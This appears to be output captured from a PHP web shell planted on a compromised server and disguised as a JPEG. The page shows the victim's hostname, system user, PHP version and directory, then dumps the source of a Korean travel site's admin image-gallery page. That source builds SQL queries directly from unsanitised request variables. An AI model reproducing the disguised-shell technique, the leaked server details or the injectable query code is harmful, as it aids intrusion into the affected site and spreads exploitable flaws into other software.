ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/toadmin/good/ |
Upload File : |
<? include "../include/top.html"; include "_common.php"; $table = "TB_GoodImg"; $upload = "../../FileData/good_img/"; $upload_thum = "../../FileData/good_img_thum/"; // 검색 설정 $sql_where = " and Gidx='{$g_uid}' "; // 리스트 수 가져옴 $sql = "select count(*) as total from {$table} where 0=0 {$sql_where} "; $row = db_fetch($sql); $total = $row[total]; // 페이지수 설정 if (!$spage) $spage = 1; // 페이지 번호 $line = 14; // 보여줄 갯수 $list = 10; // 블럭 갯수 $total_page = ceil($total / $line); // 총페이지 if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1 if ($spage > $total_page) $spage = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈 $total_list = intval($total_page / $list); if ($total_page % $list == 0) $total_list--; $curr_list = intval($spage / $list); if ($spage % $list == 0) $curr_list--; $start_page = $curr_list * $list + 1; $prev_list = $start_page - $list; $next_list = $start_page + $list; $olds = $line * ($spage - 1); // 정렬 설정 $sql_order=" order by OrderNum,idx desc "; $sql = "select * from {$table} where 0=0 {$sql_where} {$sql_order} limit {$olds} , {$line} "; $rs = db_query($sql); //배열에 저장 $data = array(); $data = db_fetch_all($rs); //호텔명 $tmp_arr = good_list(" and g_uid='{$g_uid}' "); $good_arr = $tmp_arr[0]; // 갤러리 타입 코드 $imgtype_arr = base_codeb("HPT","","N"); ?> <!-- 스크립트 업로드 --> <link rel="stylesheet" href="/js/plupload/js/jquery.ui.plupload/css/jquery.ui.plupload.css" type="text/css" /> <script type="text/javascript" src="/js/plupload/js/plupload.full.min.js"></script> <script type="text/javascript" src="/js/plupload/js/jquery.ui.plupload/jquery.ui.plupload.min.js"></script> <script type="text/javascript" src="/js/plupload/js/i18n/ko.js"></script><!-- 언어팩 --> <!-- 파일업로드 부분 --> <script type="text/javascript"> // Initialize the widget when the DOM is ready $(function() { $("#uploader").plupload({ // General settings runtimes : 'html5,flash,silverlight,html4', url : 'upload.php', // User can upload no more then 20 files in one go (sets multiple_queues to false) max_file_count: 30, chunk_size: '5mb', // Resize images on clientside if we can /*resize : { width : 200, height : 200, quality : 90, crop: true // crop to exact dimensions },*/ multipart_params : { "Goods_Code" : "<?=$g_uid?>" }, filters : { // Maximum file size max_file_size : '5mb', // Specify what files to browse for mime_types: [ {title : "Image files", extensions : "jpg,jpeg,gif,png,bmp"} /*,{title : "Zip files", extensions : "zip"}*/ ] }, // Rename files by clicking on their titles rename: true, // Sort files sortable: true, // Enable ability to drag'n'drop files onto the widget (currently only HTML5 supports that) dragdrop: true, // Views to activate views: { list: true, thumbs: true, // Show thumbs active: 'thumbs' }, // Flash settings flash_swf_url : '/js/plupload/js/Moxie.swf', // Silverlight settings silverlight_xap_url : '/js/plupload/js/Moxie.xap', //업로드후 페이지 리로드 complete: function() { self.location.reload(); } }); }); </script> <!-- /스크립트 업로드 --> <div class="contents_wrap"> <div class="contents_wrap_in"> <div class="title"><strong><?=$good_arr['g_title']?></strong></div> <div class="contents_detail"> <div id="Content_box"> <? include "_menu.html"; ?> <!-- 폼 --> <div class="pt15 pb30" style="background-color:#edf0f5"> <form id="form" method="post" action="/js/plupload/examples/dump.php"> <div id="uploader"> <p>Your browser doesn't have Flash, Silverlight or HTML5 support.</p> </div> <!--<br /> <input type="submit" value="Submit" />--> </form> </div> <!-- /폼 --> <!-- 폼 --> <form name="frm_gallery_edit" id="frm_gallery_edit" method="post"> <input type="hidden" name="SqlType" value="gallery_edit" /> <div class="photo_upload"> <div class="top_txt_zone"> <div class="search_result_txt"> <strong><?=$total?></strong><span>개의 이미지가 등록되어 있습니다.</span> </div> <ul class="btn_photo"> <li class="gallery_all"><input name="gallery_item_all" id="gallery_item_all" type="checkbox" value="" /><label for="gallery_item_all"> 전체</label></li> <li><a href="#" class="Table_btn red" id="gallery_modify">파일수정</a></li> <li><a href="#" class="Table_btn gray" id="gallery_delete">파일삭제</a></li> </ul> </div> <ul class="photo_list"> <? for($i=0 ; $i < count($data) ; $i++){ $row = $data[$i]; $row['img_size'] = @filesize($upload.$row['ImgTitle']); ?> <li> <dl> <dt class="category"> <select name="ImgType_<?=$row['iDX']?>" id="ImgType_<?=$row['iDX']?>"> <? //관광지 구분 for($j=0 ; $j<count($imgtype_arr) ; $j++){ $arr = $imgtype_arr[$j]; ?> <option value="<?=$arr['Code']?>" <?=($arr['Code']==$row['ImgType'])?"selected":""?>><?=$arr['CdName']?></option> <?}?> </select> </dt> <dd class="photo_w"> <p class="txt input_lo"> <input name="chkall[]" id="chkall_<?=$row['iDX']?>" type="checkbox" value="<?=$row['iDX']?>" /><span class="c_green"><label for="chkall_<?=$row['iDX']?>"><?=number_format($row['img_size']/1000)?>KB</label></span> </p> <p class="img"><img src="<?=$upload.$row['ImgTitle']?>" alt="호텔이미지" width="130" height="90" onClick="to_dialog.image(this.src,'<?=$row['ImgTitle']?>')" style="cursor:pointer;" /><input type="hidden" name="img_<?=$row['iDX']?>" value="<?=$row['ImgTitle']?>" /></p> </dd> <dd> <label for="ImgMemo_<?=$row['iDX']?>" class="v_none2">이미지명 등록</label> <input name="ImgMemo_<?=$row['iDX']?>" id="ImgMemo_<?=$row['iDX']?>" type="text" value="<?=$row['ImgMemo']?>" class="input_text" style="width:93px;"/> <input name="ordernum_<?=$row['iDX']?>" id="ordernum_<?=$row['iDX']?>" type="text" value="<?=$row['OrderNum']?>" class="input_text" style="width:30px;" maxlength="3" onKeyDown="ChkNum(this,event);" /> </dd> </dl> </li> <?}?> </ul> </div> </form> <!-- /폼 --> </div> <?=adm_get_paging($total_page, $spage, $list, "?$_href&g_uid={$g_uid}&spage=", "")?> </div> </div> </div> <script type="text/javascript"> //파일수정 $("#gallery_modify").bind("click",function(){ var is_check="false"; $("input[name='chkall[]']").each(function(){ if(this.checked==true)is_check="true"; }); if(is_check=="false"){ alert('적어도 한개를 선택해 주세요.'); return false; } if(!confirm('수정하시겠습니까?'))return false; $("form#frm_gallery_edit input[name='SqlType']").val("gallery_edit"); ajax_post("ajax_proc","good_proc.php","frm_gallery_edit"); }) //전체선택 $("#gallery_item_all").bind("click",function(){ var chkall = this.checked; $("input[name='chkall[]']").each(function(){ this.checked=chkall; }); }) //갤러리이미지 삭제 $("#gallery_delete").click(function(){ var is_check="false"; $("input[name='chkall[]']").each(function(){ if(this.checked==true)is_check="true"; }); if(is_check=="false"){ alert('적어도 한개를 선택해 주세요.'); return false; } if(!confirm('정말 삭제하시겠습니까?'))return false; $("form#frm_gallery_edit input[name='SqlType']").val("gallery_delete"); ajax_post("ajax_proc","good_proc.php","frm_gallery_edit"); }) </script> <? include "../include/footer.html" ?>